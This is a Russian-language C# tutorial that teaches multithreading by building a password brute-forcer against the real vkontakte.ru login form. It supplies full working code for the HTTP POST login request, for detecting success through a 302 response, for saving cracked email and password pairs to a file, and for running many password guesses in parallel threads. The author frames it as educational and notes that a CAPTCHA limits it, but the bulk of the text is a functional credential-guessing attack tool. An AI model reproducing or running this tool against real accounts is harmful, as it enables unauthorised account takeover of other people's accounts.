Реализация многопоточности на примере создания брутфорсера Web-форм (исходники)

Источник: gotdotnet
© deface

Реализация многопоточности на примере создания брутфорсера Web-форм [C#]
1. Вступление
Потоки - неотъемлемая часть современных программ. Они не только позволяют разгрузить пользовательский интерфейс на время выполнения программы, но и, в большинстве случаях, значительно ускоряют скорость ее работы. В эти самые случаи входят математические вычисления, взаимодействие с базами данных, работа с сетевыми интерфейсами и другое. В книгах можно найти огромное количество теоретического материала о потоках, так что для начала советую хотя бы поверхностно с этим материалом ознакомиться. Мы же займемся их непосредственной реализацией. Наша цель - написание брутфорсера. Сейчас достаточно сложно представить себе программу этого типа, не являющуюся многопоточной: для переборщиков паролей потоки являются практически неотъемлемой частью, на порядок увеличивая скорость брута, в независимости от того, на что "натравлена" программа.
Наша цель, дабы не разбираться со специфическими протоколами, - обычная HTML-форма, применяемая для авторизации пользователей на огромном количестве сайтов. Надо сказать, что данный тип брутфорсеров не особо распространен, так как создание универсального переборщика довольно затруднительно ввиду нескольких причин, останавливаться на которых не станем. Выберем конкретную цель. В связи с тем, что статья носит исключительно ознакомительный характер, мы напишем такой брутфорсер, у которого будет достаточно небольшая практическая ценность. Конкретнее - брутить будем форму авторизации на сайте vkontakte.ru. А дело все в том, что с недавнего времени была ввдедена капча, которую нужно вводить после нескольких неверно введенных данных. Поэтому всерьез воспользоваться нашим брутером не удастся, что, впрочем, и не входило в мои планы при написании этой статьи.
Итак, вооружаемся Visual Studio одной из последних версий, небольшим запасом терпения и приступаем непосредственно к кодингу.
2. Планируем работу
Давайте немного конкретизируем нашу задачу и разделим ее на отдельные этапы разработки. Мы не будем особо заботиться о функциональности нашей программы, все, что она будет делать - это по заданному имени пользователя (в нашем случае, это e-mail) и файлу с паролями, производить многопоточную проверку пар e-mail:пароль на правильность. Результаты будем выводить в listBox, в случае успешного подбора, правильный пароль вместе с логином запишем в файл. Пользователю программы дадим возможность определять количество потоков, а также возможность останавливать процесс подбора пароля. Таким образом, получаем несколько локальных задач разной сложности, которые нам предстоит решить:
• GUI
• Класс для авторизации на сайте
• Класс для перебора паролей
• Многопоточность
Решать задачи будем как раз в той последовательности, в какой я их поставил. Вперед!
3. Разработка
3.1. GUI
Самый простой этап. Создаем приложение типа Windows Forms и работаем над формой. Чтобы не быть многословным, привожу скрин моего интерфейса, вы можете здесь применить свои творческие способности. Также нам понадобится объект openFileDialog, для выбора файла с паролями. Я не стал менять имена элементов, сошлемся на небольшой размер нашего проекта.

А вот как выглядит та же форма, но с уже назначенным свойством Caption ее элементам.

Давайте я сразу приведу коды двух простых методов, являющихся реакцией на определенные действия по отношению к объектам формы (и действия и объект легко определяются по имени метода). Также вспомним, что нам предстоит совершать файловый ввод-вывод, поэтому не лишним будет подключить соответствующее пространство имен.
using System.IO;
...
private void textBox3_Enter(object sender, EventArgs e)
{
this.openFileDialog1.ShowDialog();
this.textBox3.Text = this.openFileDialog1.FileName;
}
private void button1_Click(object sender, EventArgs e)
{
Application.Exit();
}
3.2. Класс для авторизации на сайте
Несложно вообразить общую схему автоматической авторизации на любом сайте: подключение; отправка данных, содержащих необходимую для авторизации информацию; получение ответа от сервера; анализ полученных данных. Вот, используя эту несложную схему, разработаем необходимый класс на основе сокетов. На этом этапе мы впервые столкнемся с особенностями использования потоков.
Итак, пусть наш класс сам будет записывать результат авторизации в listBox и файл, поэтому при создании его экземпляра, нам нужно будет передать в конструктор класса наш listBox1. Получаем следующий код:
public class vkontakte
{
public ListBox l;
public vkontakte(ListBox lBox)
{
l = lBox;
}
Здесь и возникает проблема. В целях обеспечения безопасности, среда выполнения не позволяет напрямую обращаться к элементам формы не из того потока, в котором они были созданы (генерируется исключение InvalidOperationException). Как мы понимаем, это именно наш случай - listBox1 создается в основном потоке, а записывать в него данные хотят все остальные. Существует довольно много способов обойти данное ограничение, о которых можно почитать в MSDN, мы же воспользуемся самым простым, на мой взгляд. Делается это с использованием метода Invoke, который присутствует у всех элементов формы. В качестве аргументов метод принимает делегат, и список аргументов (необязательный аргумент). Invoke выполняет указанный делегат в главном потоке, чего собственно мы и добиваемся.
Напомню, что делегаты в C# являются подобием указателей на функции в C\C++, инкапсулируя вызов определенного метода. Подробнее о делегатах вы можете прочитать в литературе. Я же приведу код метода, а также его делегата. Код является частью разрабатываемого нами сейчас класса.
public delegate void AddListItem(String str);
public AddListItem myDelegate;
public void AddListItemMethod(String str)
{
l.Items.Add(str);
}
Каждый наш поток получит в распоряжение экземпляр делегата и будет и сможет безопасно вызвать методы и свойства listBox1. Такие вызовы называются потокобезопасными.
Ну а теперь напишем метод, непосредственно проводящий авторизацию. Очевидно, что в качестве аргументов будем передавать ему 2 строковые переменные - имя пользователя и пароль. Начать стоит с инициализации сокетов, чем занимается конструктор класса Socket. Разумеется, перед этим нужно получить IP адрес сайта, и провести с ним некоторые стандартные манипуляции. Сложностей возникнуть не должно, если смысл каких-то вызываемых методов будет неясен, за справкой можно обратиться в MSDN.
using System.Net;
using System.Net.Sockets;
...
public bool vk_login(string email, string pass)
{
IPHostEntry hostEntry = Dns.GetHostEntry("vkontakte.ru");
IPAddress address = hostEntry.AddressList[0];
IPEndPoint ipEpoint = new IPEndPoint(address, 80);
Socket socket = new Socket(ipEpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
socket.Connect(ipEpoint);
Самое время добавить в listBox1 информацию об успешном (надеемся) подключении. Как уже было сказано выше, нам понадобится экземпляр делегата, так что создаем его. Затем проверяем свойство Connected нашего сокета, и обращаемся к методу listBox"a Invoke, передавая ему экземпляр делегата и объект, содержащий строку, которую мы хотим добавить. Чтобы каждый поток лишь один раз вывел информацию о подключении, заведем в начале класса логическую переменную flag и проделаем не сложную манипуляцию для достижения этой цели. Вот собственно все, о чем было написано выше, на C#.
myDelegate = new AddListItem(AddListItemMethod);
if (flag)
{
if (socket.Connected)
l.Invoke(myDelegate, new object[] {"Connection successful!"} );
else
l.Invoke(myDelegate, new object[] {"Connection failed!"} );
flag = false;
}
Следующий этап разработки класса - это подготовка данных и их отправка на сервер. Конечно, можно воспользоваться сторонними программами, чтобы узнать, какие именно данные браузер отправляет на сайт во время авторизации. Однако, можно позаимствовать эту информацию с уже готовых реализаций, чем я и занялся. Посмотрите на получившийся код подготовки данных и их отправки, а затем я сделаю пояснения.
string param = "success_url=&fail_url=&try_to_login=1&email=" + email + "&pass=" + pass;
Byte[] par = Encoding.ASCII.GetBytes(param);
string request = "POST /login.php HTTP/1.0\r\n" +
"User-Agent: Opera/9.0\r\n" +
"Content-Length: " + par.Length + "\r\n" +
"Host: vkontakte.ru\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" +
param;
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
socket.Send(bytesSent, bytesSent.Length, 0);
Итак, сначала создается строка, содержащая переменные POST-запроса. Как мы видим, помимо служебных переменных, туда входит имя пользователя и пароль. Далее эта строка преобразуется в последовательность байтов для последующего получения значения Content-Length в HTTP-запросе. Именно он содержится в переменной request. Видно, что запрос содержит в себе имя скрипта, производящего авторизацию на сайте (login.php), а также другие необходимые при HTTP-запросе данные. Последней к запросу добавляется наша строка переменных POST. После этого, переменная request преобразуется в последовательность байтов, которая отправляется на сервер методом Send().
Самое время получить и проанализировать полученные данные. Поступим так же - сначала я приведу код, а потом помогу вам в нем разобраться.
Byte[] bytesReceived = new Byte[12];
int bytes = 0;
bytes = socket.Receive(bytesReceived, bytesReceived.Length, 0);
string page = Encoding.ASCII.GetString(bytesReceived, 0, bytes);
if (String.Compare(page, "HTTP/1.1 302") == 0)
{
l.Invoke(myDelegate, new object[] { "Password is Ok! [" + pass + "]" });
StreamWriter sw = new StreamWriter("good.txt");
sw.WriteLine(email + ";" + pass);
sw.Close();
socket.Close();
return true;
}
else
{
l.Invoke(myDelegate, new object[] {"Wrong password! [" + pass + "]" });
socket.Close();
return false;
}
Первым создается массив из 12 байтов - именно столько нужно получить от сервера, чтобы определить успешность авторизации. В переменной bytes будет записано количество реально полученных байтов от сервера. Метод Receive() как раз и занимается "ресивом" данных, заполняя массив bytesRecived. После этого, он преобразуется в ASCII строку, которая, в условном операторе, сравнивается со строкой "HTTP/1.1 302", являющейся показателем того, что мы авторизировались на сайте. Если метод Compare() возвращает 0, строки идентичны, значит, пора добавить соответствующую запись в listBox1 уже знакомым нам способом, а также вывести верную пару имя_пользователя:пароль в файл. После этого, сокет закрывается. Подобные действия, только без записи в файл производятся и при неудачной авторизации.
Не забудьте закрыть фигурной скобкой написанный нами метод, а заодно закройте и весь класс vkontakte, так как его написание мы завершили. Впереди - довольно простой класс перебора.
3.3. Класс для перебора паролей
Определимся, для начала, с тем, какие функции будет выполнять этот класс. Во-первых, именно он станет отправной точкой для всех потоков, именно в нем будет происходить создание экземпляров реализованного выше класса vkontakte для каждого потока. Во-вторых, класс должен будет реализовывать чтение паролей из файла, и передавать их вместе с именем пользователя (который будет получен из основного класса во время конструирования экземпляра) в метод vkontakte.vk_login(). Код класса достаточно компактный, так что я приведу его целиком сейчас, а затем мы с вами его разберем детально.
public class vk_brute
{
vkontakte vk = null;
public string pass;
public StreamReader vk_sr;
public string username;
Object locker = new Object();
public vk_brute(ListBox LB, StreamReader s, string u)
{
this.vk = new vkontakte(LB);
this.vk_sr = s;
this.username = u;
}
public void vk_start()
{
while (!vk_sr.EndOfStream)
{
lock (locker)
{
pass = vk_sr.ReadLine();
}
vk.vk_login(username, pass);
}
}
}
Итак, приступаем к разбору. В начале, объявляются переменные, большинству из которых значения будут присвоены в конструкторе. Ему, как мы видим, передается объект listBox, который используется в качестве аргумента для конструктора класса vkontakte, файловый поток s, который инициализируется в главном потоке (это сделано по понятным причинам - чтобы каждый поток не проходил весь файл с паролями, а использовал его вместе с остальными), а также строковая переменная u, содержащая имя пользователя. Отдельного внимания заслуживает переменная locker, но о ней мы поговорим чуть позже.
После конструктора мы видим метод vk_start(), который по своей задумке должен считывать очередной пароль из файла и отправлять его вместе с username"ом в метод vk_login() . Все собственно так и происходит, пока позиция текущего потока не находится в конце файлового потока s, происходит считывание очередной строки методом ReadLine(), и вызов метода авторизации. Теперь поговорим о той самой переменной locker и о конструкции lock.
Нетрудно представить, что когда несколько потоков одновременно будут обращаться к файлу через один файловый поток, вполне вероятна ситуация, когда считывание очередной строки будет испорчено. Все это будет происходит по причине неконтролируемого сдвига текущей позиции разными потоками. В качестве примера, я предлагаю вам запустить этот код без конструкции lock и посмотреть на результат.
Что делает данная конструкция? Она не позволит одному потоку войти в раздел кода (заключенный в фигурные скобки) в тот момент, когда в нем находится другой поток. В качестве аргумента передается объект, для которого создается взаимоисключающая блокировка, затем выполняется чтение очередной строки из файла, и блокировка снимается.
На этом, написание и разбор очередного класса закончен и нам осталось разобраться лишь с запуском потоков.
3.4. Многопоточность
Во время разработки предыдущих классов, мы уже сталкивались с некоторыми особенностями разработки многопоточных приложений - это и распределение экземпляров по потокам, и обращение к элементам интерфейса, и блокировка участков кода. Самое время реализовать запуск и остановку работы потоков, чем мы сейчас и займемся.
Для начала, нам понадобится массив потоков. Обычно он объявляется вне методов в классе нашей формы. Одновременно, объявим целочисленную переменную, отвечающую за количество потоков. Плюс ко всему, нам необходимо использовать пространство имен System.Threading для создания потоков и операций над ними.
using System.Threading;
...
public Thread[] threads;
public int nOfTreads;
Займемся запуском потоков. Это должно происходить при нажатии на button2, поэтому у нас получается следующий метод, разбор которого я выполню ниже.
private void button2_Click(object sender, EventArgs e)
{
string uname = textBox1.Text;
nOfTreads = int.Parse(textBox2.Text);
StreamReader sr = new StreamReader(textBox3.Text);
button3.Enabled = true;
button2.Enabled = false;
vk_brute vk = new vk_brute(listBox1, sr, uname);
threads = new Thread[nOfTreads];
for (int i = 0; i < nOfTreads; i++)
{
threads[i] = new Thread(new ThreadStart(vk.vk_start));
threads[i].Start();
}
}
В первых двух строках происходит простая инициализация переменных из соответствующих textBox"ов. Затем создается файловый поток, который вместе с listBox"ом и именем пользователя передается в конструктор при создании экземпляра класса vk_brute. Перед этим, отключается кнопка "Начать" и включается кнопка "СТОП". После этого инициализируется массив потоков. За ним следует цикл, который непосредственно создает потоки, используя конструктор класса Thread. Ему, в качестве параметра, передается делегат типа ThreadStart, указывающий метод, который нужно выполнить. Затем, поток запускается методом start(). Вот таким несложным образом потоки и создаются.
Теперь рассмотрим остановку потоков. Для этого, привожу листинг следующего метода.

private void button3_Click(object sender, EventArgs e)
{
button3.Enabled = false;
button2.Enabled = true;
for (int i = 0; i < nOfTreads; i++)
threads[i].Abort();
}
Как видим, ничего сложного нет. Для начала, играемся с включением-выключением кнопок, а затем в цикле для каждого потока обращаемся к методу Abort(), который, как не трудно догадаться, завершает поток.
Вот и все с многопоточностью, а значит, следуя нашему плану, и со всей программой.

4. Заключение
Итак, мы на конкретном примере убедились в том, что реализация многопоточности, несмотря на некоторое количество моментов, на которые стоит обратить пристальное внимание, не является сложным занятием. Выигрыш в скорости перебора паролей, в нашем случае, является огромным. В этом вы можете убедиться сами, запустив брутфорс исключительно в основном потоке.
Конечно, в рамках этой статьи я смог воспользоваться лишь малой частью обширных возможностей, и осветил не много особенностей пространства имен System.Threading. Но кто знает, возможно, продолжение следует… Спасибо за внимание.


Страница сайта http://test.interface.ru
Оригинал находится по адресу http://test.interface.ru/home.asp?artId=22018